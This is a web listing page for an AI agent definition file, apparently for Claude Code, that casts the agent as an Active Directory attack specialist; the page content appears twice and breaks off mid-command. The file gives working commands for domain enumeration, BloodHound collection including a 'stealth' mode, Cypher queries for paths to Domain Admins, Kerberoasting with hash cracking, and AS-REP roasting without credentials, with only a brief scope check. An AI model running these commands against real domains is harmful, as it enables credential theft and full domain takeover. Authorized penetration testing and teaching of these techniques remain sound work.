active-directory

Name: active-directory
Author: mukul975

60stars17forks

How to install active-directory?

mukul975/threatswarm/active-directory

$curl -o .claude/agents/active-directory.md https://raw.githubusercontent.com/mukul975/Threatswarm/HEAD/.claude/agents/active-directory.md

Installs into the current project.

Summary

Active Directory and Windows domain attack specialist. Use for Kerberoasting, AS-REP roasting, DCSync, BloodHound enumeration, ADCS ESC attacks, Golden/Silver Ticket, and domain privilege escalation. Triggers on: kerberoast, AS-REP, bloodhound, DCSync, golden ticket, ADCS, ESC, d

Files · 1

View on GitHub

.claude/agents/active-directory.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before starting AD attacks, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:exploiting-active-directory-with-bloodhound`
5	- `cybersecurity-skills:exploiting-kerberoasting-with-impacket`
6	- `cybersecurity-skills:exploiting-active-directory-certificate-services-esc1`
7	- `cybersecurity-skills:conducting-domain-persistence-with-dcsync`
8	- `cybersecurity-skills:analyzing-active-directory-acl-abuse`
9	- `cybersecurity-skills:performing-active-directory-penetration-test`
10
11	## Scope Enforcement
12	Read scope.txt FIRST. Confirm both the target DC IP and the domain are listed.
13	Document current access level (user, DA, etc.) before each step.
14	AD attacks affect the ENTIRE domain — confirm full domain is in scope.
15
16	## Domain Enumeration
17
18	### Initial Discovery
19	```bash
20	# SMB null session / basic enum
21	enum4linux-ng -A $DC_IP 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/ad/enum4linux.txt
22
23	# LDAP dump (anonymous or authenticated)
24	ldapdomaindump -u "$DOMAIN\\$USER" -p "$PASS" $DC_IP \
25	-o evidence/$(date +%Y%m%d)/$TARGET/ad/ldapdump/ 2>&1
26
27	# Domain info via crackmapexec
28	crackmapexec smb $DC_IP --shares 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/ad/cme_shares.txt
29	crackmapexec smb $DC_IP --users 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/ad/cme_users.txt
30	crackmapexec smb $DC_IP --groups 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/ad/cme_groups.txt
31	crackmapexec smb $DC_IP --pass-pol 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/ad/pass_policy.txt
32
33	# RPCClient enum
34	rpcclient -U "$USER%$PASS" $DC_IP -c "enumdomusers" 2>/dev/null \| \
35	tee evidence/$(date +%Y%m%d)/$TARGET/ad/rpc_users.txt
36	rpcclient -U "$USER%$PASS" $DC_IP -c "enumdomgroups" 2>/dev/null \| \
37	tee evidence/$(date +%Y%m%d)/$TARGET/ad/rpc_groups.txt
38	```
39
40	### BloodHound Collection
41	```bash
42	# Full collection — all methods
43	bloodhound-python -u $USER -p $PASS -d $DOMAIN -dc $DC_IP \
44	-c All --zip \
45	-o evidence/$(date +%Y%m%d)/$TARGET/ad/bloodhound/ 2>&1 \| \
46	tee evidence/$(date +%Y%m%d)/$TARGET/ad/bloodhound_collection.log
47
48	# Stealth collection (DCOnly — no host connections)
49	bloodhound-python -u $USER -p $PASS -d $DOMAIN -dc $DC_IP \
50	-c DCOnly --zip \
51	-o evidence/$(date +%Y%m%d)/$TARGET/ad/bloodhound_stealth/ 2>&1
52
53	# Import zip to BloodHound (must have Neo4j + BloodHound running)
54	# Drag & drop the ZIP in the BloodHound GUI
55	```
56
57	### Key BloodHound Cypher Queries
58	```cypher
59	// Shortest path to Domain Admins from owned users
60	MATCH (g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
61	MATCH p=shortestPath((n:User)-[*1..]->(g))
62	WHERE n.owned=true RETURN p
63
64	// All users with Kerberoastable SPNs
65	MATCH (n:User {hasspn:true}) RETURN n.name,n.serviceprincipalnames
66
67	// AS-REP roastable users
68	MATCH (n:User {dontreqpreauth:true}) RETURN n.name
69
70	// Unconstrained delegation computers
71	MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
72
73	// Constrained delegation targets
74	MATCH (n)-[:AllowedToDelegate]->(m:Computer) RETURN n.name,m.name
75
76	// Users with AdminCount=1 (protected accounts)
77	MATCH (u:User {admincount:true}) RETURN u.name
78
79	// DA session locations
80	MATCH (n:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
81	MATCH (n)-[:HasSession]->(c:Computer) RETURN n.name,c.name
82
83	// Computers where DA can RDP
84	MATCH p=(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})-[:CanRDP]->(c:Computer)
85	RETURN p
86
87	// ACL paths: WriteDACL / GenericAll on DA group
88	MATCH p=(n)-[:WriteDACL\|GenericAll]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
89	RETURN p
90
91	// LAPS-readable computers
92	MATCH (n:Computer {haslaps:true}) RETURN n.name
93	```
94
95	## Kerberoasting
96	```bash
97	# Request TGS for all SPNs (save to file for offline cracking)
98	impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" \
99	-dc-ip $DC_IP \
100	-request \
101	-outputfile evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast.hashes \
102	2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/ad/kerberoast.log
103
104	# Crack hashes
105	hashcat -m 13100 \
106	evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast.hashes \
107	/usr/share/wordlists/rockyou.txt \
108	-r /usr/share/hashcat/rules/best64.rule \
109	--force \
110	-o evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast_cracked.txt 2>&1
111
112	# John alternative
113	john --wordlist=/usr/share/wordlists/rockyou.txt \
114	evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast.hashes 2>&1
115	```
116
117	## AS-REP Roasting
118	```bash
119	# Without credentials (pre-auth disabled accounts)
120	impacket-GetNPUsers "$DOMAIN/" \
121	-dc-ip $DC_IP \
122	-usersfile evidence/$(date +%Y%m%d)/$TARGET/ad/users.txt \
123	-no-pass \
124	-format hashcat \
125	-outputfile evidence/$(date +%Y%m%d)/$TARGET/creds/asrep.hashes \
126	2>&1 \| tee evidence/$(date +%Y%m%d)/

People who liked this also viewed

6 picks

Type

active-directory

60stars17forks

View on GitHub

How to install active-directory?

mukul975/threatswarm/active-directory

$curl -o .claude/agents/active-directory.md https://raw.githubusercontent.com/mukul975/Threatswarm/HEAD/.claude/agents/active-directory.md

Installs into the current project.

Summary

Files · 1

View on GitHub

.claude/agents/active-directory.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before starting AD attacks, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:exploiting-active-directory-with-bloodhound`
5	- `cybersecurity-skills:exploiting-kerberoasting-with-impacket`
6	- `cybersecurity-skills:exploiting-active-directory-certificate-services-esc1`
7	- `cybersecurity-skills:conducting-domain-persistence-with-dcsync`
8	- `cybersecurity-skills:analyzing-active-directory-acl-abuse`
9	- `cybersecurity-skills:performing-active-directory-penetration-test`
10
11	## Scope Enforcement
12	Read scope.txt FIRST. Confirm both the target DC IP and the domain are listed.
13	Document current access level (user, DA, etc.) before each step.
14	AD attacks affect the ENTIRE domain — confirm full domain is in scope.
15
16	## Domain Enumeration
17
18	### Initial Discovery
19	```bash
20	# SMB null session / basic enum
21	enum4linux-ng -A $DC_IP 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/ad/enum4linux.txt
22
23	# LDAP dump (anonymous or authenticated)
24	ldapdomaindump -u "$DOMAIN\\$USER" -p "$PASS" $DC_IP \
25	-o evidence/$(date +%Y%m%d)/$TARGET/ad/ldapdump/ 2>&1
26
27	# Domain info via crackmapexec
28	crackmapexec smb $DC_IP --shares 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/ad/cme_shares.txt
29	crackmapexec smb $DC_IP --users 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/ad/cme_users.txt
30	crackmapexec smb $DC_IP --groups 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/ad/cme_groups.txt
31	crackmapexec smb $DC_IP --pass-pol 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/ad/pass_policy.txt
32
33	# RPCClient enum
34	rpcclient -U "$USER%$PASS" $DC_IP -c "enumdomusers" 2>/dev/null \| \
35	tee evidence/$(date +%Y%m%d)/$TARGET/ad/rpc_users.txt
36	rpcclient -U "$USER%$PASS" $DC_IP -c "enumdomgroups" 2>/dev/null \| \
37	tee evidence/$(date +%Y%m%d)/$TARGET/ad/rpc_groups.txt
38	```
39
40	### BloodHound Collection
41	```bash
42	# Full collection — all methods
43	bloodhound-python -u $USER -p $PASS -d $DOMAIN -dc $DC_IP \
44	-c All --zip \
45	-o evidence/$(date +%Y%m%d)/$TARGET/ad/bloodhound/ 2>&1 \| \
46	tee evidence/$(date +%Y%m%d)/$TARGET/ad/bloodhound_collection.log
47
48	# Stealth collection (DCOnly — no host connections)
49	bloodhound-python -u $USER -p $PASS -d $DOMAIN -dc $DC_IP \
50	-c DCOnly --zip \
51	-o evidence/$(date +%Y%m%d)/$TARGET/ad/bloodhound_stealth/ 2>&1
52
53	# Import zip to BloodHound (must have Neo4j + BloodHound running)
54	# Drag & drop the ZIP in the BloodHound GUI
55	```
56
57	### Key BloodHound Cypher Queries
58	```cypher
59	// Shortest path to Domain Admins from owned users
60	MATCH (g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
61	MATCH p=shortestPath((n:User)-[*1..]->(g))
62	WHERE n.owned=true RETURN p
63
64	// All users with Kerberoastable SPNs
65	MATCH (n:User {hasspn:true}) RETURN n.name,n.serviceprincipalnames
66
67	// AS-REP roastable users
68	MATCH (n:User {dontreqpreauth:true}) RETURN n.name
69
70	// Unconstrained delegation computers
71	MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
72
73	// Constrained delegation targets
74	MATCH (n)-[:AllowedToDelegate]->(m:Computer) RETURN n.name,m.name
75
76	// Users with AdminCount=1 (protected accounts)
77	MATCH (u:User {admincount:true}) RETURN u.name
78
79	// DA session locations
80	MATCH (n:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
81	MATCH (n)-[:HasSession]->(c:Computer) RETURN n.name,c.name
82
83	// Computers where DA can RDP
84	MATCH p=(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})-[:CanRDP]->(c:Computer)
85	RETURN p
86
87	// ACL paths: WriteDACL / GenericAll on DA group
88	MATCH p=(n)-[:WriteDACL\|GenericAll]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
89	RETURN p
90
91	// LAPS-readable computers
92	MATCH (n:Computer {haslaps:true}) RETURN n.name
93	```
94
95	## Kerberoasting
96	```bash
97	# Request TGS for all SPNs (save to file for offline cracking)
98	impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" \
99	-dc-ip $DC_IP \
100	-request \
101	-outputfile evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast.hashes \
102	2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/ad/kerberoast.log
103
104	# Crack hashes
105	hashcat -m 13100 \
106	evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast.hashes \
107	/usr/share/wordlists/rockyou.txt \
108	-r /usr/share/hashcat/rules/best64.rule \
109	--force \
110	-o evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast_cracked.txt 2>&1
111
112	# John alternative
113	john --wordlist=/usr/share/wordlists/rockyou.txt \
114	evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast.hashes 2>&1
115	```
116
117	## AS-REP Roasting
118	```bash
119	# Without credentials (pre-auth disabled accounts)
120	impacket-GetNPUsers "$DOMAIN/" \
121	-dc-ip $DC_IP \
122	-usersfile evidence/$(date +%Y%m%d)/$TARGET/ad/users.txt \
123	-no-pass \
124	-format hashcat \
125	-outputfile evidence/$(date +%Y%m%d)/$TARGET/creds/asrep.hashes \
126	2>&1 \| tee evidence/$(date +%Y%m%d)/

People who liked this also viewed

6 picks

Type